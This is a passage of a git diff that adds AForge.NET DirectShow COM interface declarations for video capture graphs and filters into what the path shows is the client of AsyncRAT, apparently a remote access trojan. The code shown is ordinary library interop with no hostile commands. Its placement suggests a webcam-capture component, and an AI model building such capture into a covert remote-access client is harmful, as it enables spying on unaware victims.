b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs new file mode 100644 index 0000000..3c03a31 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IBaseFilter.cs @@ -0,0 +1,161 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IBaseFilter interface provides methods for controlling a filter. + /// All DirectShow filters expose this interface + /// + /// + [ComImport, + Guid( "56A86895-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IBaseFilter + { + // --- IPersist Methods + + /// + /// Returns the class identifier (CLSID) for the component object. + /// + /// + /// Points to the location of the CLSID on return. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetClassID( [Out] out Guid ClassID ); + + // --- IMediaFilter Methods + + /// + /// Stops the filter. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Stop( ); + + /// + /// Pauses the filter. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Pause( ); + + /// + /// Runs the filter. + /// + /// + /// Reference time corresponding to stream time 0. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Run( long start ); + + /// + /// Retrieves the state of the filter (running, stopped, or paused). + /// + /// + /// Time-out interval, in milliseconds. + /// Pointer to a variable that receives filter's state. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetState( int milliSecsTimeout, [Out] out int filterState ); + + /// + /// Sets the reference clock for the filter or the filter graph. + /// + /// + /// Pointer to the clock's IReferenceClock interface, or NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetSyncSource( [In] IntPtr clock ); + + /// + /// Retrieves the current reference clock. + /// + /// + /// Address of a variable that receives a pointer to the clock's IReferenceClock interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetSyncSource( [Out] out IntPtr clock ); + + // --- IBaseFilter Methods + + /// + /// Enumerates the pins on this filter. + /// + /// + /// Address of a variable that receives a pointer to the IEnumPins interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumPins( [Out] out IEnumPins enumPins ); + + /// + /// Retrieves the pin with the specified identifier. + /// + /// + /// Pointer to a constant wide-character string that identifies the pin. + /// Address of a variable that receives a pointer to the pin's IPin interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindPin( [In, MarshalAs( UnmanagedType.LPWStr )] string id, [Out] out IPin pin ); + + /// + /// Retrieves information about the filter. + /// + /// + /// Pointer to FilterInfo structure. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryFilterInfo( [Out] out FilterInfo filterInfo ); + + /// + /// Notifies the filter that it has joined or left the filter graph. + /// + /// + /// Pointer to the Filter Graph Manager's IFilterGraph interface, or NULL + /// if the filter is leaving the graph. + /// String that specifies a name for the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int JoinFilterGraph( [In] IFilterGraph graph, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Retrieves a string containing vendor information. + /// + /// + /// Receives a string containing the vendor information. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryVendorInfo( [Out, MarshalAs( UnmanagedType.LPWStr )] out string vendorInfo ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs new file mode 100644 index 0000000..4ef802a --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs @@ -0,0 +1,192 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface builds capture graphs and other custom filter graphs. + /// + /// + [ComImport, + Guid( "93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface ICaptureGraphBuilder2 + { + /// + /// Specify filter graph for the capture graph builder to use. + /// + /// + /// Filter graph's interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetFiltergraph( [In] IGraphBuilder graphBuilder ); + + /// + /// Retrieve the filter graph that the builder is using. + /// + /// + /// Filter graph's interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetFiltergraph( [Out] out IGraphBuilder graphBuilder ); + + /// + /// Create file writing section of the filter graph. + /// + /// + /// GUID that represents either the media subtype of the output or the + /// class identifier (CLSID) of a multiplexer filter or file writer filter. + /// Output file name. + /// Receives the multiplexer's interface. + /// Receives the file writer's IFileSinkFilter interface. Can be NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetOutputFileName( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid type, + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [Out] out IBaseFilter baseFilter, + [Out] out IntPtr fileSinkFilter + ); + + /// + /// Searche the graph for a specified interface, starting from a specified filter. + /// + /// + /// GUID that specifies the search criteria. + /// GUID that specifies the major media type of an output pin, or NULL. + /// interface of the filter. The method begins searching from this filter. + /// Interface identifier (IID) of the interface to locate. + /// Receives found interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindInterface( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid type, + [In] IBaseFilter baseFilter, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid interfaceID , + [Out, MarshalAs( UnmanagedType.IUnknown )] out object retInterface + ); + + /// + /// Connect an output pin on a source filter to a rendering filter, optionally through a compression filter. + /// + /// + /// Pin category. + /// Major-type GUID that specifies the media type of the output pin. + /// Starting filter for the connection. + /// Interface of an intermediate filter, such as a compression filter. Can be NULL. + /// Sink filter, such as a renderer or mux filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderStream( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, + [In, MarshalAs( UnmanagedType.IUnknown )] object source, + [In] IBaseFilter compressor, + [In] IBaseFilter renderer + ); + + /// + /// Set the start and stop times for one or more streams of captured data. + /// + /// + /// Pin category. + /// Major-type GUID that specifies the media type. + /// interface that specifies which filter to control. + /// Start time. + /// Stop time. + /// Value that is sent as the second parameter of the + /// EC_STREAM_CONTROL_STARTED event notification. + /// Value that is sent as the second parameter of the + /// EC_STREAM_CONTROL_STOPPED event notification. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ControlStream( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, + [In, MarshalAs( UnmanagedType.Interface )] IBaseFilter filter, + [In] long start, + [In] long stop, + [In] short startCookie, + [In] short stopCookie + ); + + /// + /// Preallocate a capture file to a specified size. + /// + /// + /// File name to create or resize. + /// Size of the file to allocate, in bytes. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AllocCapFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In] long size + ); + + /// + /// Copy the valid media data from a capture file. + /// + /// + /// Old file name. + /// New file name. + /// Boolean value that specifies whether pressing the ESC key cancels the copy operation. + /// IAMCopyCaptureFileProgress interface to display progress information, or NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CopyCaptureFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string oldFileName, + [In, MarshalAs( UnmanagedType.LPWStr )] string newFileName, + [In, MarshalAs( UnmanagedType.Bool )] bool allowEscAbort, + [In] IntPtr callback + ); + + /// + /// + /// + /// + /// Interface on a filter, or to an interface on a pin. + /// Pin direction (input or output). + /// Pin category. + /// Media type. + /// Boolean value that specifies whether the pin must be unconnected. + /// Zero-based index of the pin to retrieve, from the set of matching pins. + /// Interface of the matching pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindPin( + [In, MarshalAs( UnmanagedType.IUnknown )] object source, + [In] PinDirection pinDirection, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, + [In, MarshalAs( UnmanagedType.Bool )] bool unconnected, + [In] int index, + [Out, MarshalAs( UnmanagedType.Interface )] out IPin pin + ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs new file mode 100644 index 0000000..81e4b59 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs @@ -0,0 +1,37 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + + /// + /// The ICreateDevEnum interface creates an enumerator for devices within a particular category, + /// such as video capture devices, audio capture devices, video compressors, and so forth. + /// + /// + [ComImport, + Guid( "29840822-5B84-11D0-BD3B-00A0C911CE86" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface ICreateDevEnum + { + /// + /// Creates a class enumerator for a specified device category. + /// + /// + /// Specifies the class identifier of the device category. + /// Address of a variable that receives an IEnumMoniker interface pointer + /// Bitwise combination of zero or more flags. If zero, the method enumerates every filter in the category. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CreateClassEnumerator( [In] ref Guid type, [Out] out IEnumMoniker enumMoniker, [In] int flags ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs new file mode 100644 index 0000000..a4c8eb9 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumFilters.cs @@ -0,0 +1,71 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007-2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface is used by applications or other filters to determine + /// what filters exist in the filter graph. + /// + /// + [ComImport, + Guid( "56A86893-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IEnumFilters + { + /// + /// Retrieves the specified number of filters in the enumeration sequence. + /// + /// + /// Number of filters to retrieve. + /// Array in which to place interfaces. + /// Actual number of filters placed in the array. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Next( [In] int cFilters, + [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IBaseFilter[] filters, + [Out] out int filtersFetched ); + + /// + /// Skips a specified number of filters in the enumeration sequence. + /// + /// + /// Number of filters to skip. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Skip( [In] int cFilters ); + + /// + /// Resets the enumeration sequence to the beginning. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reset( ); + + /// + /// Makes a copy of the enumerator with the same enumeration state. + /// + /// + /// Duplicate of the enumerator. + /// + /// + /// Return's HRESULT error code. + /// + /// + [PreserveSig] + int Clone( [Out] out IEnumFilters enumFilters ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs new file mode 100644 index 0000000..41e1f74 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IEnumPins.cs @@ -0,0 +1,68 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// Enumerates pins on a filter. + /// + /// + [ComImport, + Guid( "56A86892-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IEnumPins + { + /// + /// Retrieves a specified number of pins. + /// + /// + /// Number of pins to retrieve. + /// Array of size cPins that is filled with IPin pointers. + /// Receives the number of pins retrieved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Next( [In] int cPins, + [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IPin[] pins, + [Out] out int pinsFetched ); + + /// + /// Skips a specified number of pins in the enumeration sequence. + /// + /// + /// Number of pins to skip. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Skip( [In] int cPins ); + + /// + /// Resets the enumeration sequence to the beginning. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reset( ); + + /// + /// Makes a copy of the enumerator with the same enumeration state. + /// + /// + /// Duplicate of the enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Clone( [Out] out IEnumPins enumPins ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs new file mode 100644 index 0000000..7d21c5f --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph.cs @@ -0,0 +1,113 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides methods for building a filter graph. An application can use it to add filters to + /// the graph, connect or disconnect filters, remove filters, and perform other basic operations. + /// + /// + [ComImport, + Guid( "56A8689F-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IFilterGraph + { + /// + /// Adds a filter to the graph and gives it a name. + /// + /// + /// Filter to add to the graph. + /// Name of the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Removes a filter from the graph. + /// + /// + /// Filter to be removed from the graph. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RemoveFilter( [In] IBaseFilter filter ); + + /// + /// Provides an enumerator for all filters in the graph. + /// + /// + /// Filter enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumFilters( [Out] out IntPtr enumerator ); + + /// + /// Finds a filter that was added with a specified name. + /// + /// + /// Name of filter to search for. + /// Interface of found filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); + + /// + /// Connects two pins directly (without intervening filters). + /// + /// + /// Output pin. + /// Input pin. + /// Media type to use for the connection. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin. + /// + /// + /// Pin to disconnect and reconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reconnect( [In] IPin pin ); + + /// + /// Disconnects a specified pin. + /// + /// + /// Pin to disconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( [In] IPin pin ); + + /// + /// Sets the reference clock to the default clock. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetDefaultSyncSource( ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs new file mode 100644 index 0000000..b4dbf4c --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs @@ -0,0 +1,257 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + + /// + /// This interface extends the and + /// interfaces, which contain methods for building filter graphs. + /// + /// + [ComImport, + Guid("36B73882-C2C8-11CF-8B46-00805F6CEF60"), + InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface IFilterGraph2 + { + // --- IFilterGraph Methods + + /// + /// Adds a filter to the graph and gives it a name. + /// + /// + /// Filter to add to the graph. + /// Name of the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Removes a filter from the graph. + /// + /// + /// Filter to be removed from the graph. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RemoveFilter( [In] IBaseFilter filter ); + + /// + /// Provides an enumerator for all filters in the graph. + /// + /// + /// Filter enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumFilters( [Out] out IEnumFilters enumerator ); + + /// + /// Finds a filter that was added with a specified name. + /// + /// + /// Name of filter to search for. + /// Interface of found filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); + + /// + /// Connects two pins directly (without intervening filters). + /// + /// + /// Output pin. + /// Input pin. + /// Media type to use for the connection. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin. + /// + /// + /// Pin to disconnect and reconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reconnect( [In] IPin pin ); + + /// + /// Disconnects a specified pin. + /// + /// + /// Pin to disconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( [In] IPin pin ); + + /// + /// Sets the reference clock to the default clock. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetDefaultSyncSource( ); + + // --- IGraphBuilder methods + + /// + /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms. + /// + /// + /// Output pin. + /// Input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Connect( [In] IPin pinOut, [In] IPin pinIn ); + + /// + /// Adds a chain of filters to a specified output pin to render it. + /// + /// + /// Output pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Render( [In] IPin pinOut ); + + /// + /// Builds a filter graph that renders the specified file. + /// + /// + /// Specifies a string that contains file name or device moniker. + /// Reserved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string file, + [In, MarshalAs( UnmanagedType.LPWStr )] string playList ); + + /// + /// Adds a source filter to the filter graph for a specific file. + /// + /// + /// Specifies the name of the file to load. + /// Specifies a name for the source filter. + /// Variable that receives the interface of the source filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilter( + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, + [Out] out IBaseFilter filter ); + + /// + /// Sets the file for logging actions taken when attempting to perform an operation. + /// + /// + /// Handle to the log file. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetLogFile( IntPtr hFile ); + + /// + /// Requests that the graph builder return as soon as possible from its current task. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Abort( ); + + /// + /// Queries whether the current operation should continue. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ShouldOperationContinue( ); + + + // --- IFilterGraph2 methods + + /// + /// + /// + /// + /// Moniker interface. + /// Bind context interface. + /// Name for the filter. + /// Receives source filter's IBaseFilter interface. + /// The caller must release the interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilterForMoniker( + [In] IMoniker moniker, + [In] IBindCtx bindContext, + [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, + [Out] out IBaseFilter filter + ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin, + /// using a specified media type. + /// + /// + /// Pin to disconnect and reconnect. + /// Media type to reconnect with. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ReconnectEx( + [In] IPin pin, + [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType + ); + + /// + /// Render an output pin, with an option to use existing renderers only. + /// + /// + /// Interface of the output pin. + /// Flag that specifies how to render the pin. + /// Reserved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderEx( + [In] IPin outputPin, + [In] int flags, + [In] IntPtr context + ); + + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs new file mode 100644 index 0000000..8f3fc4e --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs @@ -0,0 +1,198 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface provides methods that enable an application to build a filter graph. + /// + /// + [ComImport, + Guid( "56A868A9-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IGraphBuilder + { + // --- IFilterGraph Methods + + /// + /// Adds a filter to the graph and gives it a name. + /// + /// + /// Filter to add to the graph. + /// Name of the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Removes a filter from the graph. + /// + /// + /// Filter to be removed from the graph. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RemoveFilter( [In] IBaseFilter filter ); + + /// + /// Provides an enumerator for all filters in the graph. + /// + /// + /// Filter enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumFilters( [Out] out IEnumFilters enumerator ); + + /// + /// Finds a filter that was added with a specified name. + /// + /// + /// Name of filter to search for. + /// Interface of found filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); + + /// + /// Connects two pins directly (without intervening filters). + /// + /// + /// Output pin. + /// Input pin. + /// Media type to use for the connection. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin. + /// + /// + /// Pin to disconnect and reconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reconnect( [In] IPin pin ); + + /// + /// Disconnects a specified pin. + /// + /// + /// Pin to disconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( [In] IPin pin ); + + /// + /// Sets the reference clock to the default clock. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetDefaultSyncSource( ); + + // --- IGraphBuilder methods + + /// + /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms. + /// + /// + /// Output pin. + /// Input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Connect( [In] IPin pinOut, [In] IPin pinIn ); + + /// + /// Adds a chain of filters to a specified output pin to render it. + /// + /// + /// Output pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Render( [In] IPin pinOut ); + + /// + /// Builds a filter graph that renders the specified file. + /// + /// + /// Specifies a string that contains file name or device moniker. + /// Reserved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string file, + [In, MarshalAs( UnmanagedType.LPWStr )] string playList); + + /// + /// Adds a source filter to the filter graph for a specific file. + /// + /// + /// Specifies the name of the file to load. + /// Specifies a name for the source filter. + /// Variable that receives the interface of the source filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilter( + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, + [Out] out IBaseFilter filter ); + + /// + /// Sets the file for logging actions taken when attempting to perform an operation. + /// + /// + /// Handle to the log file. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetLogFile( IntPtr hFile ); + + /// + /// Requests that the graph builder return as soon as possible from its current task. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Abort( ); + + /// + /// Queries whether the current operation should continue. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ShouldOperationContinue( ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs new file mode 100644 index 0000000..c6ba357 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs @@ -0,0 +1,118 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides methods for controlling the flow of data through the filter graph. + /// It includes methods for running, pausing, and stopping the graph. + /// + /// + [ComImport, + Guid( "56A868B1-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsDual )] + internal interface IMediaControl + { + /// + /// Runs all the filters in the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Run( ); + + /// + /// Pauses all filters in the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Pause( ); + + /// + /// Stops all the filters in the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Stop( ); + + /// + /// Retrieves the state of the filter graph. + /// + /// + /// Duration of the time-out, in milliseconds, or INFINITE to specify an infinite time-out. + /// Ìariable that receives a member of the FILTER_STATE enumeration. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetState( int timeout, out int filterState ); + + /// + /// Builds a filter graph that renders the specified file. + /// + /// + /// Name of the file to render + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderFile( string fileName ); + + /// + /// Adds a source filter to the filter graph, for a specified file. + /// + /// + /// Name of the file containing the source video. + /// Receives interface of filter information object. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilter( [In] string fileName, [Out, MarshalAs( UnmanagedType.IDispatch )] out object filterInfo ); + + /// + /// Retrieves a collection of the filters in the filter graph. + /// + /// + /// Receives the IAMCollection interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_FilterCollection( + [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection ); + + /// + /// Retrieves a collection of all the filters listed in the registry. + /// + /// + /// Receives the IDispatch interface of IAMCollection object. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_RegFilterCollection( + [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection ); + + /// + /// Pauses the filter graph, allowing filters to queue data, and then stops the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int StopWhenReady( ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs new file mode 100644 index 0000000..d01bee8 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs @@ -0,0 +1,126 @@ +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface inherits contains methods for retrieving event notifications and for overriding the + /// filter graph's default handling of events. + /// + [ComVisible( true ), ComImport, + Guid( "56a868c0-0ad4-11ce-b03a-0020af0ba770" ), + InterfaceType( ComInterfaceType.InterfaceIsDual )] + internal interface IMediaEventEx + { + /// + /// Retrieves a handle to a manual-reset event that remains signaled while the queue contains event notifications. + /// + /// Pointer to a variable that receives the event handle. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetEventHandle( out IntPtr hEvent ); + + /// + /// Retrieves the next event notification from the event queue. + /// + /// + /// Variable that receives the event code. + /// Pointer to a variable that receives the first event parameter. + /// Pointer to a variable that receives the second event parameter. + /// Time-out interval, in milliseconds. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetEvent( [Out, MarshalAs( UnmanagedType.I4 )] out DsEvCode lEventCode, [Out] out IntPtr lParam1, [Out] out IntPtr lParam2, int msTimeout ); + + /// + /// Waits for the filter graph to render all available data. + /// + /// + /// Time-out interval, in milliseconds. Pass zero to return immediately. + /// Pointer to a variable that receives an event code. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int WaitForCompletion( int msTimeout, [Out] out int pEvCode ); + + /// + /// Cancels the Filter Graph Manager's default handling for a specified event. + /// + /// + /// Event code for which to cancel default handling. + /// + /// Return's HRESULT error 